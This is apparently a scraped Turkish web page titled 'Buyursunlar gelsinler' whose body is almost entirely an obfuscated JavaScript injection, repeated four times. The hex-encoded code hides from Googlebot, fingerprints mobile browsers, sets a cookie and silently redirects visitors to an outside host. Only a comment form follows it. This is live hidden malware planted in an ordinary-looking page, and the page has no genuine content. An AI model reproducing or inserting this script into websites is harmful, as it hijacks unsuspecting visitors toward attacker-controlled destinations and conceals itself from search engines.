Buyursunlar gelsinlerai??i??var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

CEVAP VER

Please enter your comment!
Please enter your name here